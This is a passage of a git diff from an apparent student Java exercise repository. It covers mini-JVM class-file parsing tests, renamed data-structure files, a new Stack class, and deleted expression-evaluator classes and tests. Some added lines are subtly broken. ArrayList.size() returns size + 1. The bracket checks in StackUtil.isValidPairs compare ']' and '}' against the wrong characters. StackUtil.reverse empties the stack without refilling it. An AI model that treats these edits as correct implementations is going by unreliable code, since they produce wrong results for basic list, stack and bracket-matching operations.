+			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
+		}
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
+			Assert.assertEquals(4, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
+			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
+		}
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
+			Assert.assertEquals("name", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(6);
+			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(7);
+			Assert.assertEquals("age", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(8);
+			Assert.assertEquals("I", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(9);
+			Assert.assertEquals("<init>", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(10);
+			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(11);
+			Assert.assertEquals("Code", utf8Info.getValue());
+		}
+		
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
+			Assert.assertEquals(3, methodRef.getClassInfoIndex());
+			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
+			Assert.assertEquals(9, nameAndType.getIndex1());
+			Assert.assertEquals(14, nameAndType.getIndex2());
+		}
+		//抽查几个吧
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
+			Assert.assertEquals(1, methodRef.getClassInfoIndex());
+			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
+			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
+		}
+    }
+    @Test
+    public void testClassIndex(){
+    	
+    	ClassIndex clzIndex = clzFile.getClzIndex();
+    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+    	
+    	
+    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
+    }
+    
+   
+
+}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/test/EmployeeV1.java b/group27/383117348/src/com/coderising/jvm/test/EmployeeV1.java
similarity index 100%
rename from group27/383117348/mini-jvm/com/coderising/jvm/test/EmployeeV1.java
rename to group27/383117348/src/com/coderising/jvm/test/EmployeeV1.java
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/util/Util.java b/group27/383117348/src/com/coderising/jvm/util/Util.java
similarity index 100%
rename from group27/383117348/mini-jvm/com/coderising/jvm/util/Util.java
rename to group27/383117348/src/com/coderising/jvm/util/Util.java
diff --git a/group27/383117348/data-structure/com/coderising/litestruts/LoginAction.java b/group27/383117348/src/com/coderising/litestruts/LoginAction.java
similarity index 100%
rename from group27/383117348/data-structure/com/coderising/litestruts/LoginAction.java
rename to group27/383117348/src/com/coderising/litestruts/LoginAction.java
diff --git a/group27/383117348/data-structure/com/coderising/litestruts/Struts.java b/group27/383117348/src/com/coderising/litestruts/Struts.java
similarity index 100%
rename from group27/383117348/data-structure/com/coderising/litestruts/Struts.java
rename to group27/383117348/src/com/coderising/litestruts/Struts.java
diff --git a/group27/383117348/data-structure/com/coderising/litestruts/StrutsTest.java b/group27/383117348/src/com/coderising/litestruts/StrutsTest.java
similarity index 100%
rename from group27/383117348/data-structure/com/coderising/litestruts/StrutsTest.java
rename to group27/383117348/src/com/coderising/litestruts/StrutsTest.java
diff --git a/group27/383117348/data-structure/com/coderising/litestruts/View.java b/group27/383117348/src/com/coderising/litestruts/View.java
similarity index 100%
rename from group27/383117348/data-structure/com/coderising/litestruts/View.java
rename to group27/383117348/src/com/coderising/litestruts/View.java
diff --git a/group27/383117348/data-structure/com/coderising/litestruts/struts.xml b/group27/383117348/src/com/coderising/litestruts/struts.xml
similarity index 100%
rename from group27/383117348/data-structure/com/coderising/litestruts/struts.xml
rename to group27/383117348/src/com/coderising/litestruts/struts.xml
diff --git a/group27/383117348/data-structure/com/coding/basic/BinaryTreeNode.java b/group27/383117348/src/com/coding/basic/BinaryTreeNode.java
similarity index 100%
rename from group27/383117348/data-structure/com/coding/basic/BinaryTreeNode.java
rename to group27/383117348/src/com/coding/basic/BinaryTreeNode.java
diff --git a/group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/Iterator.java b/group27/383117348/src/com/coding/basic/Iterator.java
similarity index 93%
rename from group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/Iterator.java
rename to group27/383117348/src/com/coding/basic/Iterator.java
index 06ef6311b2..dbe8b9afb2 100644
--- a/group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/Iterator.java
+++ b/group27/383117348/src/com/coding/basic/Iterator.java
@@ -1,7 +1,7 @@
-package com.coding.basic;
-
-public interface Iterator {
-	public boolean hasNext();
-	public Object next();
-
-}
+package com.coding.basic;
+
+public interface Iterator {
+	public boolean hasNext();
+	public Object next();
+
+}
diff --git a/group27/383117348/data-structure/com/coding/basic/List.java b/group27/383117348/src/com/coding/basic/List.java
similarity index 100%
rename from group27/383117348/data-structure/com/coding/basic/List.java
rename to group27/383117348/src/com/coding/basic/List.java
diff --git a/group27/383117348/data-structure/com/coding/basic/queue/Queue.java b/group27/383117348/src/com/coding/basic/Queue.java
similarity index 91%
rename from group27/383117348/data-structure/com/coding/basic/queue/Queue.java
rename to group27/383117348/src/com/coding/basic/Queue.java
index 11b191bf89..4bd32c067b 100644
--- a/group27/383117348/data-structure/com/coding/basic/queue/Queue.java
+++ b/group27/383117348/src/com/coding/basic/Queue.java
@@ -1,4 +1,4 @@
-package com.coding.basic.queue;
+package com.coding.basic;
 
 import org.junit.Test;
 
diff --git a/group27/383117348/data-structure/com/coding/basic/array/ArrayList.java b/group27/383117348/src/com/coding/basic/array/ArrayList.java
similarity index 100%
rename from group27/383117348/data-structure/com/coding/basic/array/ArrayList.java
rename to group27/383117348/src/com/coding/basic/array/ArrayList.java
diff --git a/group27/383117348/data-structure/com/coding/basic/array/ArrayUtil.java b/group27/383117348/src/com/coding/basic/array/ArrayUtil.java
similarity index 100%
rename from group27/383117348/data-structure/com/coding/basic/array/ArrayUtil.java
rename to group27/383117348/src/com/coding/basic/array/ArrayUtil.java
diff --git a/group27/383117348/data-structure/com/coding/basic/linklist/LRUPageFrame.java b/group27/383117348/src/com/coding/basic/linklist/LRUPageFrame.java
similarity index 100%
rename from group27/383117348/data-structure/com/coding/basic/linklist/LRUPageFrame.java
rename to group27/383117348/src/com/coding/basic/linklist/LRUPageFrame.java
diff --git a/group27/383117348/data-structure/com/coding/basic/linklist/LRUPageFrameTest.java b/group27/383117348/src/com/coding/basic/linklist/LRUPageFrameTest.java
similarity index 100%
rename from group27/383117348/data-structure/com/coding/basic/linklist/LRUPageFrameTest.java
rename to group27/383117348/src/com/coding/basic/linklist/LRUPageFrameTest.java
diff --git a/group27/383117348/data-structure/com/coding/basic/linklist/LinkedList.java b/group27/383117348/src/com/coding/basic/linklist/LinkedList.java
similarity index 100%
rename from group27/383117348/data-structure/com/coding/basic/linklist/LinkedList.java
rename to group27/383117348/src/com/coding/basic/linklist/LinkedList.java
diff --git a/group27/383117348/data-structure/com/coding/basic/stack/Stack.java b/group27/383117348/src/com/coding/basic/stack/Stack.java
similarity index 100%
rename from group27/383117348/data-structure/com/coding/basic/stack/Stack.java
rename to group27/383117348/src/com/coding/basic/stack/Stack.java
diff --git a/group27/383117348/data-structure/com/coding/basic/stack/StackUtil.java b/group27/383117348/src/com/coding/basic/stack/StackUtil.java
similarity index 100%
rename from group27/383117348/data-structure/com/coding/basic/stack/StackUtil.java
rename to group27/383117348/src/com/coding/basic/stack/StackUtil.java
diff --git a/group27/383117348/data-structure/com/coding/basic/stack/test/StackUtilTest.java b/group27/383117348/src/com/coding/basic/stack/test/StackUtilTest.java
similarity index 100%
rename from group27/383117348/data-structure/com/coding/basic/stack/test/StackUtilTest.java
rename to group27/383117348/src/com/coding/basic/stack/test/StackUtilTest.java
diff --git a/group27/513274874/data-structure/src/com/coding/basic/array/ArrayList.java b/group27/513274874/data-structure/src/com/coding/basic/ArrayList.java
similarity index 96%
rename from group27/513274874/data-structure/src/com/coding/basic/array/ArrayList.java
rename to group27/513274874/data-structure/src/com/coding/basic/ArrayList.java
index 7d6d7a08f2..9e55e92529 100644
--- a/group27/513274874/data-structure/src/com/coding/basic/array/ArrayList.java
+++ b/group27/513274874/data-structure/src/com/coding/basic/ArrayList.java
@@ -1,7 +1,5 @@
 
-package com.coding.basic.array;
-
-import com.coding.basic.Iterator;
+package com.coding.basic;
 
 import java.util.Arrays;
 
@@ -80,7 +78,7 @@ public Object remove(int index) {
     }
 
     public int size() {
-        return this.size;
+        return this.size + 1;
     }
 
     public Iterator iterator() {
diff --git a/group24/Homework/1-FirstWeek/List.java b/group27/513274874/data-structure/src/com/coding/basic/List.java
similarity index 95%
rename from group24/Homework/1-FirstWeek/List.java
rename to group27/513274874/data-structure/src/com/coding/basic/List.java
index 10d13b5832..396b1f6416 100644
--- a/group24/Homework/1-FirstWeek/List.java
+++ b/group27/513274874/data-structure/src/com/coding/basic/List.java
@@ -1,9 +1,9 @@
-package com.coding.basic;
-
-public interface List {
-	public void add(Object o);
-	public void add(int index, Object o);
-	public Object get(int index);
-	public Object remove(int index);
-	public int size();
-}
+package com.coding.basic;
+
+public interface List {
+	public void add(Object o);
+	public void add(int index, Object o);
+	public Object get(int index);
+	public Object remove(int index);
+	public int size();
+}
diff --git a/group27/513274874/data-structure/src/com/coding/basic/Stack.java b/group27/513274874/data-structure/src/com/coding/basic/Stack.java
new file mode 100644
index 0000000000..034e4c7215
--- /dev/null
+++ b/group27/513274874/data-structure/src/com/coding/basic/Stack.java
@@ -0,0 +1,65 @@
+
+package com.coding.basic;
+
+/**
+ * author zhougd 20170306
+ *
+ */
+public class Stack {
+	private List elementData = new ArrayList();
+
+
+	public Stack() {
+	}
+
+	/**
+	 * 入栈
+	 * @param o
+	 */
+	public void push(Object o){
+		elementData.add(o);
+	}
+
+	/**
+	 * 出栈
+	 * @return
+	 */
+	public Object pop(){
+		if(this.isEmpty()){
+			throw new IndexOutOfBoundsException("stack is empty!");
+		}
+		Object element = elementData.get(size()-1);
+		elementData.remove(size()-1);
+		return element;
+	}
+
+	/**
+	 * 查看栈顶元素
+	 * @return Object
+	 */
+	public Object peek(){
+		if(this.isEmpty()){
+			throw new IndexOutOfBoundsException("stack is empty!");
+		}
+		Object element = elementData.get(size()-1);
+		return element;
+	}
+
+	/**
+	 * 查看栈是否为空
+	 * @return boolean
+	 */
+	public boolean isEmpty(){
+
+		return elementData == null || elementData.size()<=0;
+
+	}
+
+	/**
+	 * 获取栈大小
+	 * @return
+	 */
+	public int size(){
+		return elementData.size();
+	}
+}
\ No newline at end of file
diff --git a/group27/513274874/data-structure/src/com/coding/basic/array/List.java b/group27/513274874/data-structure/src/com/coding/basic/array/List.java
deleted file mode 100644
index 2a07c92d6e..0000000000
--- a/group27/513274874/data-structure/src/com/coding/basic/array/List.java
+++ /dev/null
@@ -1,9 +0,0 @@
-package com.coding.basic.array;
-
-public interface List {
-	public void add(Object o);
-	public void add(int index, Object o);
-	public Object get(int index);
-	public Object remove(int index);
-	public int size();
-}
diff --git a/group27/513274874/data-structure/src/com/coding/basic/linklist/LinkedList.java b/group27/513274874/data-structure/src/com/coding/basic/linklist/LinkedList.java
index 245affee80..e6d400f483 100644
--- a/group27/513274874/data-structure/src/com/coding/basic/linklist/LinkedList.java
+++ b/group27/513274874/data-structure/src/com/coding/basic/linklist/LinkedList.java
@@ -2,7 +2,7 @@
 package com.coding.basic.linklist;
 
 import com.coding.basic.Iterator;
-import com.coding.basic.array.List;
+import com.coding.basic.List;
 
 import java.util.NoSuchElementException;
 
diff --git a/group27/513274874/data-structure/src/com/coding/basic/stack/Stack.java b/group27/513274874/data-structure/src/com/coding/basic/stack/Stack.java
index 3b8a9eeb5a..4a0980079b 100644
--- a/group27/513274874/data-structure/src/com/coding/basic/stack/Stack.java
+++ b/group27/513274874/data-structure/src/com/coding/basic/stack/Stack.java
@@ -1,8 +1,7 @@
 
 package com.coding.basic.stack;
 
-
-import com.coding.basic.array.List;
+import com.coding.basic.List;
 import com.coding.basic.array.ArrayList;
 
 /**
@@ -21,7 +20,6 @@ public Stack() {
 	 * @param o
 	 */
 	public void push(Object o){
-
 		elementData.add(o);
 	}
 
diff --git a/group27/513274874/data-structure/src/com/coding/basic/stack/StackUtil.java b/group27/513274874/data-structure/src/com/coding/basic/stack/StackUtil.java
index fa8a8c0325..e53e38ca4b 100755
--- a/group27/513274874/data-structure/src/com/coding/basic/stack/StackUtil.java
+++ b/group27/513274874/data-structure/src/com/coding/basic/stack/StackUtil.java
@@ -1,6 +1,5 @@
 package com.coding.basic.stack;
 
-import java.util.Stack;
 public class StackUtil {
 
     /**
@@ -8,27 +7,14 @@ public class StackUtil {
      * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
      */
     public static void reverse(Stack s) {
-        if(null == s || s.isEmpty()){
-            return;
+        Stack temp = new Stack();
+        //先清空s
+        while (!s.isEmpty()) {
+            temp.push(s.pop());
         }
-        Object object = s.pop();
-        reverse(s);
-        addToBottom(s,object);
 
     }
 
-    public static void addToBottom(Stack s ,Object num){
-        if(s.isEmpty()){
-            s.push(num);
-
-        }else{
-            Object o = s.pop();
-            addToBottom(s,num);
-            s.push(o);
-        }
-    }
-
-
     /**
      * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
      *
@@ -115,7 +101,7 @@ public static boolean isValidPairs(String s) {
                     break;
                 case ']':
                     temp = (byte) stack.peek();
-                    if (temp != '[') {
+                    if (temp != ']') {
                         return false;
                     } else {
                         stack.pop();
@@ -123,7 +109,7 @@ public static boolean isValidPairs(String s) {
                     break;
                 case '}':
                     temp = (byte) stack.peek();
-                    if (temp != '{') {
+                    if (temp != ']') {
                         return false;
                     } else {
                         stack.pop();
diff --git a/group27/513274874/data-structure/src/com/coding/basic/stack/StackUtilTest.java b/group27/513274874/data-structure/src/com/coding/basic/stack/StackUtilTest.java
deleted file mode 100644
index d183607f63..0000000000
--- a/group27/513274874/data-structure/src/com/coding/basic/stack/StackUtilTest.java
+++ /dev/null
@@ -1,76 +0,0 @@
-package com.coding.basic.stack;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-import java.util.Stack;
-public class StackUtilTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testAddToBottom() {
-		Stack<Integer> s = new Stack();
-		s.push(1);
-		s.push(2);
-		s.push(3);
-		
-		StackUtil.addToBottom(s, 0);
-		
-		Assert.assertEquals("[0, 1, 2, 3]", s.toString());
-		
-	}
-	@Test
-	public void testReverse() {
-		Stack<Integer> s = new Stack();
-		s.push(1);
-		s.push(2);
-		s.push(3);
-		s.push(4);
-		s.push(5);
-		Assert.assertEquals("[1, 2, 3, 4, 5]", s.toString());
-		StackUtil.reverse(s);
-		Assert.assertEquals("[5, 4, 3, 2, 1]", s.toString());
-	}
-
-	@Test
-	public void testRemove() {
-		Stack<Integer> s = new Stack();
-		s.push(1);
-		s.push(2);
-		s.push(3);
-		StackUtil.remove(s, 2);
-		Assert.assertEquals("[1, 3]", s.toString());
-	}
-
-	@Test
-	public void testGetTop() {
-		Stack<Integer> s = new Stack();
-		s.push(1);
-		s.push(2);
-		s.push(3);
-		s.push(4);
-		s.push(5);
-		{
-			Object[] values = StackUtil.getTop(s, 3);
-			Assert.assertEquals(5, values[0]);
-			Assert.assertEquals(4, values[1]);
-			Assert.assertEquals(3, values[2]);
-		}
-	}
-
-	@Test
-	public void testIsValidPairs() {
-		Assert.assertTrue(StackUtil.isValidPairs("([e{d}f])"));
-		Assert.assertFalse(StackUtil.isValidPairs("([b{x]y})"));
-	}
-
-}
diff --git a/group27/513274874/data-structure/src/com/coding/basic/stack/expr/InfixExpr.java b/group27/513274874/data-structure/src/com/coding/basic/stack/expr/InfixExpr.java
deleted file mode 100644
index ddd255e4a0..0000000000
--- a/group27/513274874/data-structure/src/com/coding/basic/stack/expr/InfixExpr.java
+++ /dev/null
@@ -1,98 +0,0 @@
-package com.coding.basic.stack.expr;
-
-import com.coding.basic.stack.StackUtil;
-
-import java.util.Stack;
-
-public class InfixExpr {
-	String expr = null;
-	
-	public InfixExpr(String expr) {
-		this.expr = expr;
-	}
-
-	public float evaluate() {		
-
-		char[] chars = expr.toCharArray();
-		System.out.println(chars);
-
-		Stack numStack = new Stack();
-		Stack operStack = new Stack();
-		//当前数，有可能是操作数，有可能是运算符
-		String curr = "";
-		OperIterator operIterator = new OperIterator(chars);
-		int num = operIterator.nextNumber();
-		numStack.push(num);
-		while(operIterator.hasNext()){
-			int numB = 0;
-			char oper = operIterator.nextOperator();
-			switch (oper){
-				case '+':
-				case '-':
-					operStack.push(oper);
-					numStack.push(operIterator.nextNumber());
-					continue;
-				case '*':
-					numB = operIterator.nextNumber();
-					numStack.push(Double.parseDouble(numStack.pop() + "") * numB);
-					continue;
-				case '/':
-					numB = operIterator.nextNumber();
-					numStack.push(Double.parseDouble(numStack.pop()+"") / numB);
-					continue;
-			}
-		}
-
-		//清算站内数据
-		if(operStack.isEmpty()) return Float.parseFloat(numStack.pop() + "");
-
-		StackUtil.reverse(operStack);
-		StackUtil.reverse(numStack);
-		while(!operStack.isEmpty()){
-			char oper = (char)operStack.pop();
-
-			numStack.push(operate(Float.parseFloat(numStack.pop()+""),Float.parseFloat(numStack.pop() +""),oper));
-		}
-
-		return (float) numStack.pop();
-	}
-	
-	private float operate(float a,float b,char oper){
-		switch (oper){
-			case '-':
-				return a-b;
-			case '+':
-				return a+b;
-			case '*':
-				return a*b;
-			case '/':
-				return a/b;
-		}
-		return 0.00f;
-	}
-
-	class OperIterator {
-		private char[] expr ;
-		private int pos = 0;
-
-		public OperIterator(char[] expr) {
-			this.expr = expr;
-		}
-
-		public char nextOperator(){
-			return expr[pos++];
-		}
-		public int nextNumber(){
-			StringBuffer num = new StringBuffer("");
-			while(pos <= expr.length-1 && expr[pos] != '+' && expr[pos] != '-' && expr[pos] != '*' && expr[pos] != '/'){
-				num.append(expr[pos++]);
-			}
-			return Integer.parseInt(num.toString());
-		}
-
-		public boolean hasNext(){
-			return pos < expr.length-1;
-		}
-	}
-	
-}
diff --git a/group27/513274874/data-structure/src/com/coding/basic/stack/expr/InfixExprTest.java b/group27/513274874/data-structure/src/com/coding/basic/stack/expr/InfixExprTest.java
deleted file mode 100644
index ddb1130398..0000000000
--- a/group27/513274874/data-structure/src/com/coding/basic/stack/expr/InfixExprTest.java
+++ /dev/null
@@ -1,57 +0,0 @@
-package com.coding.basic.stack.expr;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-
-public class InfixExprTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testEvaluate() {
-		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
-		{
-			InfixExpr expr = new InfixExpr("2+3*4+5");
-			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
-		}
-		{
-			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
-			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
-		}
-
-		{
-			InfixExpr expr = new InfixExpr("3*20/2");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-
-		{
-			InfixExpr expr = new InfixExpr("20/2*3");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("10-30+50");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-		{
-			InfixExpr expr = new InfixExpr("10-2*3+50");
-			Assert.assertEquals(54, expr.evaluate(), 0.001f);
-		}
-		
-	}
-
-	@Test
-	public void testConert(){
-		new InfixToPostfix().convert("2*3*4+5");
-	}
-
-}
diff --git a/group27/513274874/data-structure/src/com/coding/basic/stack/expr/InfixToPostfix.java b/group27/513274874/data-structure/src/com/coding/basic/stack/expr/InfixToPostfix.java
deleted file mode 100644
index 55eb061ce0..0000000000
--- a/group27/513274874/data-structure/src/com/coding/basic/stack/expr/InfixToPostfix.java
+++ /dev/null
@@ -1,57 +0,0 @@
-package com.coding.basic.stack.expr;
-
-import com.coding.basic.stack.Stack;
-
-import java.util.ArrayList;
-import java.util.List;
-
-public class InfixToPostfix {
-	private Stack operStack = new Stack();
-
-	public List<Token> convert(String expr) {
-
-		List<Token> infixList = TokenParser.parse(expr);
-		List<Token> postfixList = new ArrayList<>();
-		int i = 0;
-		while(i < infixList.size()){
-			Token token = infixList.get(i);
-			if(token.isNumber()){
-				//operand
-				postfixList.add(token);
-
-			}else{
-				//operator
-				if(operStack.isEmpty()) {
-					operStack.push(token);
-					i++;
-					continue;
-				}
-
-				Token topToken = (Token)operStack.pop();
-
-				if(token.hasHigherPriority(topToken)){
-					//the operator has higher priority than the arg operator
-					postfixList.add(infixList.get(++i));
-					postfixList.add(token);
-					operStack.push(topToken);
-
-				}else{
-					postfixList.add(topToken);
-					operStack.push(token);
-				}
-
-			}
-			i++;
-		}
-		//empty operStack
-		while(!operStack.isEmpty()){
-			postfixList.add((Token)operStack.pop());
-		}
-		for (Token token :postfixList){
-			System.out.print(token.value);
-		}
-		System.out.println();
-		return postfixList;
-	}
-
-}
diff --git a/group27/513274874/data-structure/src/com/coding/basic/stack/expr/PostfixExpr.java b/group27/513274874/data-structure/src/com/coding/basic/stack/expr/PostfixExpr.java
deleted file mode 100644
index 27b9ee9c31..0000000000
--- a/group27/513274874/data-structure/src/com/coding/basic/stack/expr/PostfixExpr.java
+++ /dev/null
@@ -1,51 +0,0 @@
-package com.coding.basic.stack.expr;
-
-import com.coding.basic.stack.Stack;
-
-import java.util.List;
-
-public class PostfixExpr {
-String expr = null;
-	
-	public PostfixExpr(String expr) {
-		this.expr = expr;
-	}
-
-	public float evaluate() {
-		List<Token> postfixExpr = TokenParser.parse(expr);
-
-		Stack calc = new Stack();
-		for(Token token :postfixExpr){
-			if(token.isNumber()){
-				//push number into stack until operator
-				calc.push(token.getIntValue());
-			}else {
-				//operator : pop two numbers to calculate and then push the result into stack
-				int numberA = (int)calc.pop();
-				int numberB = (int)calc.pop();
-
-				switch (token.value){
-					case "+":
-						calc.push(numberB + numberA );
-						break;
-					case "-":
-						calc.push(numberB - numberA);
-						break;
-					case "*":
-						calc.push(numberB * numberA);
-						break;
-					case "/":
-						calc.push(numberB / numberA);
-						break;
-
-					default:
-						throw new RuntimeException(token.value + " is not a operator !");
-				}
-			}
-		}
-
-		//the result is the only value in the stack
-		float result = Float.parseFloat(calc.pop() + "");
-		return result;
-	}
-}
diff --git a/group27/513274874/data-structure/src/com/coding/basic/stack/expr/PostfixExprTest.java b/group27/513274874/data-structure/src/com/coding/basic/stack/expr/PostfixExprTest.java
deleted file mode 100644
index c0435a2db5..0000000000
--- a/group27/513274874/data-structure/src/com/coding/basic/stack/expr/PostfixExprTest.java
+++ /dev/null
@@ -1,41 +0,0 @@
-package com.coding.basic.stack.expr;
-
-
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-
-
-public class PostfixExprTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testEvaluate() {
-		{
-			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
-			Assert.assertEquals(288, expr.evaluate(),0.0f);
-		}
-		{
-			//9+(3-1)*3+10/2
-			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
-			Assert.assertEquals(20, expr.evaluate(),0.0f);
-		}
-		
-		{
-			//10-2*3+50
-			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
-			Assert.assertEquals(54, expr.evaluate(),0.0f);
-		}
-	}
-
-}
diff --git a/group27/513274874/data-structure/src/com/coding/basic/stack/expr/PrefixExpr.java b/group27/513274874/data-structure/src/com/coding/basic/stack/expr/PrefixExpr.java
deleted file mode 100644
index 956927e2df..0000000000
--- a/group27/513274874/data-structure/src/com/coding/basic/stack/expr/PrefixExpr.java
+++ /dev/null
@@ -1,18 +0,0 @@
-package com.coding.basic.stack.expr;
-
-import java.util.List;
-import java.util.Stack;
-
-public class PrefixExpr {
-	String expr = null;
-	
-	public PrefixExpr(String expr) {
-		this.expr = expr;
-	}
-
-	public float evaluate() {
-		return 0.0f;
-	}
-	
-	
-}
diff --git a/group27/513274874/data-structure/src/com/coding/basic/stack/expr/PrefixExprTest.java b/group27/513274874/data-structure/src/com/coding/basic/stack/expr/PrefixExprTest.java
deleted file mode 100644
index 5cec210e75..0000000000
--- a/group27/513274874/data-structure/src/com/coding/basic/stack/expr/PrefixExprTest.java
+++ /dev/null
@@ -1,45 +0,0 @@
-package com.coding.basic.stack.expr;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-
-public class PrefixExprTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testEvaluate() {
-		{
-			// 2*3+4*5 
-			PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
-			Assert.assertEquals(26, expr.evaluate(),0.001f);
-		}
-		{
-			// 4*2 + 6+9*2/3 -8
-			PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
-			Assert.assertEquals(12, expr.evaluate(),0.001f);
-		}
-		{
-			//(3+4)*5-6
-			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
-			Assert.assertEquals(29, expr.evaluate(),0.001f);
-		}
-		{
-			//1+((2+3)*4)-5
-			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
-			Assert.assertEquals(16, expr.evaluate(),0.001f);
-		}
-		
-		
-	}
-
-}
diff --git a/group27/513274874/data-structure/src/com/coding/basic/stack/expr/Token.java b/group27/513274874/data-structure/src/com/coding/basic/stack/expr/Token.java
deleted file mode 100644
index 8579743fe9..0000000000
--- a/group27/513274874/data-structure/src/com/coding/basic/stack/expr/Token.java
+++ /dev/null
@@ -1,50 +0,0 @@
-package com.coding.basic.stack.expr;
-
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-
-class Token {
-	public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
-	private static final Map<String,Integer> priorities = new HashMap<>();
-	static {
-		priorities.put("+", 1);
-		priorities.put("-", 1);
-		priorities.put("*", 2);
-		priorities.put("/", 2);
-	}
-	static final int OPERATOR = 1;
-	static final int NUMBER = 2;
-	String value;
-	int type;
-	public Token(int type, String value){
-		this.type = type;
-		this.value = value;
-	}		
-
-	public boolean isNumber() {
-		return type == NUMBER;
-	}
-
-	public boolean isOperator() {
-		return type == OPERATOR;
-	}
-
-	public int getIntValue() {
-		return Integer.valueOf(value).intValue();
-	}
-	public String toString(){
-		return value;
-	}
-	
-	public boolean hasHigherPriority(Token t){
-		if(!this.isOperator() && !t.isOperator()){
-			throw new RuntimeException("numbers can't compare priority");
-		}
-		return priorities.get(this.value) - priorities.get(t.value) > 0;
-	}
-	
-	
-
-}
\ No newline at end of file
diff --git a/group27/513274874/data-structure/src/com/coding/basic/stack/expr/TokenParser.java b/group27/513274874/data-structure/src/com/coding/basic/stack/expr/TokenParser.java
deleted file mode 100644
index 7ef3d1959c..0000000000
--- a/group27/513274874/data-structure/src/com/coding/basic/stack/expr/TokenParser.java
+++ /dev/null
@@ -1,57 +0,0 @@
-package com.coding.basic.stack.expr;
-
-import java.util.ArrayList;
-import java.util.List;
-
-public class TokenParser {
-	
-	
-	public  static List<Token> parse(String expr) {
-		List<Token> tokens = new ArrayList<>();
-
-		int i = 0;
-
-		while (i < expr.length()) {
-
-			char c = expr.charAt(i);
-
-			if (isOperator(c)) {
-
-				Token t = new Token(Token.OPERATOR, String.valueOf(c));
-				tokens.add(t);
-				i++;
-
-			} else if (Character.isDigit(c)) {
-
-				int nextOperatorIndex = indexOfNextOperator(i, expr);
-				String value = expr.substring(i, nextOperatorIndex);
-				Token t = new Token(Token.NUMBER, value);
-				tokens.add(t);
-				i = nextOperatorIndex;
-
-			} else{
-				System.out.println("char :["+c+"] is not number or operator,ignore");
-				i++;
-			}
-
-		}
-		return tokens;
-	}
-
-	private static int indexOfNextOperator(int i, String expr) {
-
-		while (Character.isDigit(expr.charAt(i))) {
-			i++;
-			if (i == expr.length()) {
-				break;
-			}
-		}
-		return i;
-
-	}
-
-	private static boolean isOperator(char c) {
-		String sc = String.valueOf(c);
-		return Token.OPERATORS.contains(sc);
-	}
-}
diff --git a/group27/513274874/data-structure/src/com/coding/basic/stack/expr/TokenParserTest.java b/group27/513274874/data-structure/src/com/coding/basic/stack/expr/TokenParserTest.java
deleted file mode 100644
index 399d3e857e..0000000000
